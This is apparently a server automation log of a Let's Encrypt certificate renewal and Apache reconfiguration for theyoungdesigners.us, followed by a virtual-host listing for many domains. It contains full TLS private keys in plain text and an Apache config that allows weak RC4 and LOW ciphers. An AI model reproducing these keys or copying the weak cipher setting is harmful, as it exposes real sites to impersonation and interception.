Gg/48cK1obpWMKy2LOXqRrZ/OUKQ77Sqb2a/T9fhBBOACGewFa9tTs7xvl2RJ8DN
du58BuGLiKDODb/+EBtr9vdZRylr5T8bhRR6wjmuFWcj6oZoLbaOLDysSDG81j+V
P1thPqN6X+TgLqAASy/K5R1P8mQgikTvdcZ6taix9oVJKZ1vj+Zi6sMUXD/MbXJP
EDF1XYZUlAoJ0/Hqd6L0I3aPMciIyCi6Ni6CJrxdv5SjAV9txXRweRhKqnYFENAW
8vT/i58rOsz23B97B/KK4VFOnzFVGAfTGHucFrU5Wfd+JDIWrIPFPpCAIIrG36He
HUdJ5a1XAgMBAAECggEAFS9yx08CHmU33v76k0ZidxWQKDAZXKInObfWkaer4r3I
BUg8bcfABOdPOHYYDkFbub0MYvLuwFVY4tBmthA4pTv9UVqVw3ouHh1VxQoXYoRZ
xEH2RRszWcJrN1jP46KicU6qJovsff9JNB5qrZbTYtWOKYd7K+wdWo0vdQLpXxm5
S7EfSczd+fr5c+BaYCh/EaEWiFSXO8sQtj6aluKpK1FrkaMos0D7clhGebZqtkYr
ioMiKQtNTA5D4dGsIEE3Eo0HB2YoZo3kzip56lmVHZToNfU1Ejc0OXRG/Z0mCuZv
zlXV9kXaVKsaI4J2KAjeHwHbBOkvz3wBvH7TrzOiSQKBgQDzdBNRs6gJ9wNvUCic
38hAvCsXhG4v7MZMDEvyrX+L4ffgdxgFh8457TVZ3yWahmobNFR4DvX8Y5J/5kAv
OKC8gS56uJ/XOcg/oXw8M3CikXh/tbo0Ka9WvTI071qS7VYN9uIT9DeRmOapJC8R
zF5wk6IPqRej8w5vVjfkfvTZgwKBgQDl4avHQIl/VgTN3df/iIeMFzQTLcYDSCk+
y9fsKy1spJGlesLsaLiJvpZeEZlIdtLf6AvZMFcR1GJfGnMnLnA+X5ZU/255CVjL
TphLsFpfl4qF5LpyIg2TmCJLf07KVvhS6T8jz92Ao1XO1KH7oTWZ81Xhq7HYpuu2
KJVyWcgYnQKBgQDnPyuWoKsOBBa8Jgzdreb+Ln5UEVPErAhTdh6x/cE4csTL7vPf
VPc7qKjTnBWQ6PpiqttNSxC20zH10RTIheaQB7jJkxMpEda3MkHawRXNJZaq4Ehl
ge7t2jqVc4G6LDxgeVCXmZMq9myq3xbithhCoMkATSKKdbYRZXkjzr/u1wKBgDNt
AaWobVn8H0UCnOCAZXpUcoTb15FCYl+28E3X9uh4BFEVnmeOocHGzhKrMzQ/yLro
SUZEByZo8by+yQX54IhDj/jhz4/qJGAO7Aj6oa0C1K1RVthTf+AFx55GE5U2UYUS
wto7FR1C7N5BOR92l+whwJOkejuyU8bDW3NiXF4NAoGBAM886CeDW+rqCfHS928R
7M95Po3Bxamsln+ISDNIop5hxQ1kE++B1g7YE+depF2aEIR2URlv0c4DNA+Wy8nL
FR5cHgNpGRp9vTH7CcPwN7457g+mu8ysjetTj2/q2KLzkfuTasz4DGK7Co8OXhFe
7uAMD7viVXbKh+z4e2p0CTNC
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-28 06:00:30: Establishing a connection
2025-09-28 06:00:30: Establishing a connection
2025-09-28 06:00:30:
PUT: /tmp/pkp374531
#!/bin/bash
if [ -d "/var/www/theyoungdesigners_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-28 06:00:31:
chmod 755 /tmp/pkp374531; /tmp/pkp374531; rm /tmp/pkp374531
2025-09-28 06:00:31:
1
2025-09-28 06:00:31: Establishing a connection
2025-09-28 06:00:32:
PUT: /tmp/pkp768122
#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cat > VcSEX3sbnfvFfc0RajMGTJs2Gb_TRWrxaw4DAvy6NO4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VcSEX3sbnfvFfc0RajMGTJs2Gb_TRWrxaw4DAvy6NO4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VcSEX3sbnfvFfc0RajMGTJs2Gb_TRWrxaw4DAvy6NO4
cat > LZUC9REH1Uu2WBRal9zs_-RKJQpQ5whkJuoNHWtzNMg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LZUC9REH1Uu2WBRal9zs_-RKJQpQ5whkJuoNHWtzNMg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LZUC9REH1Uu2WBRal9zs_-RKJQpQ5whkJuoNHWtzNMg
2025-09-28 06:00:32:
chmod 755 /tmp/pkp768122; /tmp/pkp768122; rm /tmp/pkp768122
2025-09-28 06:00:32:
2025-09-28 06:00:38: Establishing a connection
2025-09-28 06:00:38:
PUT: /tmp/pkp916594
#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
rm VcSEX3sbnfvFfc0RajMGTJs2Gb_TRWrxaw4DAvy6NO4
rm LZUC9REH1Uu2WBRal9zs_-RKJQpQ5whkJuoNHWtzNMg
2025-09-28 06:00:38:
chmod 755 /tmp/pkp916594; /tmp/pkp916594; rm /tmp/pkp916594
2025-09-28 06:00:38:
2025-09-28 06:00:38: Establishing a connection
2025-09-28 06:00:38:
PUT: /tmp/pkp353467
#!/bin/bash
temp_file=$(mktemp)
TARGET=f13c10b0bf992120e8f0bf3f4c84b2c5.crt
cat > $temp_file <<'endmsg'
ba:c1:ac:7e:75:e2:84:0b:a8:78:96:ea:e0:fd:14:80
-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBXqx/YBWlalTgwOwF+BhCgw7MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI4MDUwMjA3WhcNMjUxMjI3MDUwMjA2WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAPjKkDL2XhNCgIDGEfskszOkoxbhIGg7KAbbZ5UXLpxaf6s0FZLu1K6K
pfEW6F+yUpkKh4RDCysEB2CchxlLyIHIBdu566C6t1y/yzpJLDCeEfr6dMP2RIVz
3mWrRcFiwYpUMpQBoYr0rcXnUTRa2kFTL9fnPXN+jeNqvy+2nwymRcWeCFWOBtEn
waXDts9eqpGV2jzDb0n6htd1YCE/ZFy9QgIxs/AbUkkgKkGVZcQRAI+Dh3OtLi8s
zcz6izT3N4VvjAcxCmmqVeYbIU0mvGG8KjIlZes1ZmI//WRu9U5xPu0oAhx2kexR
tF8x6bgE+eNsTkLJgSpTuJO4yUh3BWECAwEAAaOCAj8wggI7MA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUk1UPifWzlVNdQJn59wouc8pyUpYwHwYDVR0jBBgwFoAUALUp
8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEyLmkubGVuY3Iub3JnLzA5BgNVHREEMjAwghR0aGV5b3VuZ2Rlc2ln
bmVycy51c4IYd3d3LnRoZXlvdW5nZGVzaWduZXJzLnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
NjAuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcApELFBklgYVSPD9TqnPt6
LSZFTYepfy/fRVn2J086hFQAAAGZjuitdwAABAMASDBGAiEArtDKc8u9vj1Jnpai
D2Y8SZ6sYqEqlYjepLJ1j+jg2mwCIQDyq3Oe9u32ghfEJHq6/71exFItYgk8zcMG
N5D4mLSdQgB2AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmY7o
rcEAAAQDAEcwRQIhANWIa/IWd2Pe0udJb9jMaoQKjL6+zzx+6mEylCKm1AzNAiBC
7gOAAJ3Y8Ojht+vD8FSw1Xay1TFw08TM5t3PPbU0ZTANBgkqhkiG9w0BAQsFAAOC
AQEAHg3rQ9rOMKw6m+3ujMjd7IiXOoxtPQdG6S3W0NWf1jP59Gs1l7OSsxAsBzI0
S/f+mpgfkOt0y+6tD2pROtHJ2RB++lAethhvwXibnEkakbvbSESArJJ/99evqrek
v6poPxDhKEvmvb61AVAdZH1WR+S7q3q/CZkgxMzAOvpxUV18Fe7Az/IwXVxzmreE
7LQO53B/YLK+RuJKuVN6wvXzftHlK9y3NoVuUf+U4Ko1raSfRp68Ushv5g5Bzo+U
TjQRTz8hH26cEbB3pc1e+aY/63QP6eESbqPjpLb2i9dkVRO3WuiSHNKnLbzoRxoX
xxiarnrvacws/Lj3RNmf6RFdLw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQD4ypAy9l4TQoCA
xhH7JLMzpKMW4SBoOygG22eVFy6cWn+rNBWS7tSuiqXxFuhfslKZCoeEQwsrBAdg
nIcZS8iByAXbueugurdcv8s6SSwwnhH6+nTD9kSFc95lq0XBYsGKVDKUAaGK9K3F
51E0WtpBUy/X5z1zfo3jar8vtp8MpkXFnghVjgbRJ8Glw7bPXqqRldo8w29J+obX
dWAhP2RcvUICMbPwG1JJICpBlWXEEQCPg4dzrS4vLM3M+os09zeFb4wHMQppqlXm
GyFNJrxhvCoyJWXrNWZiP/1kbvVOcT7tKAIcdpHsUbRfMem4BPnjbE5CyYEqU7iT
uMlIdwVhAgMBAAECggEBAIpHvEI3IS6/RcFNVe0rBtdraKJs2qBUUPkOtdHuIqAQ
xOkZd+xFBr1EntsTinC2IqahbZUb1ndANAGEvqpWrslDrc3k1oxte0D38TMiPIeB
NCk1T/UjSg6Kyk/kFE9aXoxOJBaTmYAsYvGekknxPWIVpH/yLPummaKPUFhqvpg+
MfZXJDZsSr1gDLjjKkMnUssTW2wKheagchKhXi5fHwdCmhG4xp+Az24HTQKR1WHn
Ciyt4G22WZu2KP2VJNeCL5o8VuIwchDeS5hP5CDf2Q6Pb0L/xPf5V7m+7c9HXE+E
lStkRXcMhr3XBlSWAJhz6Rf+YHeDcjzKnwbxvBG/y4ECgYEA/yVZj3j4TIi2Qbfd
GwwaE+TwWJ+iRLncZf2wN6LkZqcII8QAkpKWfpyVvzXf8adzqv0f+BCg9y+dDl1R
ydtSSsLmRYa0J4rlf6fNRwad4gENb4Px5433UZt905TYOwrGQUPN/oQZ/nnVFvxk
MITcDuYlaAdz4T3R72/ccdUaBHkCgYEA+Z/Ei6hOtYjQVYtQRcfWyMfmW1DSC8lZ
0Zwqxs6Ty45BVJSsASlKh871XLWqr+SygHyIGP87OPc2xOCq6rnkS4ksrm1uyU6t
7CqSwGSrq4MvsXwgdk/fh34yg+TG3zYKn1GMYmSUa+fI7ExpBMoL2oCiDG+8RtJm
LmNC8UgvPikCgYAVXJwt/fPT/JI92FYDwLSiO8W/tcXROTpxs5bAYbv7uDpfPDbM
DsfY2+VRuAIC6oEtrLmzfDjt2SeuHzQM0XcHWWAMLCYDNYbXdEYkjzJCzNHCJ2rm
dyVgyML1Jv4fm1xT9IhXqdm/S5YCsaj1wvnlqXEyT4VtM07TXCs5wJzICQKBgQDp
oWj5NSuFqGkkx2D4DpOuE7o8GSaeNXPFRR6cN9gIGjp3CTb7V0QUW9U1UipQugF/
VA6lJqytImO2XHhbfGR5dgfFsVKRQvxxH19+hjpOKlhHC1/um88gJzLsUwD3BMNo
XZDAvlZTr/pTfyiDfP8fIGmKrkFPH7jXDbwny2G8EQKBgQDx2oIwetHHjydG4mnT
qigptAJ8Lyj02DCR8OxStKLeaGYBXbRwlADgLDQOTPLg08/MDJ8V3S76vVuRzqBX
GXXY3XlKeguJ/QMBq8P18s4uzz3V0L8RxwSDspSA3XFIlI7DTeV/Vt7EGSozwiNy
AOEjFsfaaC3NH5gmTUCkigNQZg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-28 06:00:38:
chmod 755 /tmp/pkp353467; /tmp/pkp353467; rm /tmp/pkp353467
2025-09-28 06:00:38:
dir=/etc/ssl/certs
2025-09-28 06:00:38:
PUT: /tmp/pkp763007
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-28 06:00:38:
chmod 755 /tmp/pkp763007; /tmp/pkp763007; rm /tmp/pkp763007
2025-09-28 06:00:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf 48
<VirtualHost *:80>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-28 06:00:38:
PUT: /tmp/pkp621203
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_us.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf= 1'
fi
2025-09-28 06:00:38:
chmod 755 /tmp/pkp621203; /tmp/pkp621203; rm /tmp/pkp621203
2025-09-28 06:00:38:
2025-09-28 06:00:38:
PUT: /tmp/pkp894383
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-28 06:00:38:
chmod 755 /tmp/pkp894383; /tmp/pkp894383; rm /tmp/pkp894383
2025-09-28 06:00:38:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-28 06:00:38: Establishing a connection
2025-09-28 06:00:38:
PUT: /tmp/pkp587232
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-28 06:00:39:
chmod 755 /tmp/pkp587232; /tmp/pkp587232; rm /tmp/pkp587232
2025-09-28 06:00:39:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
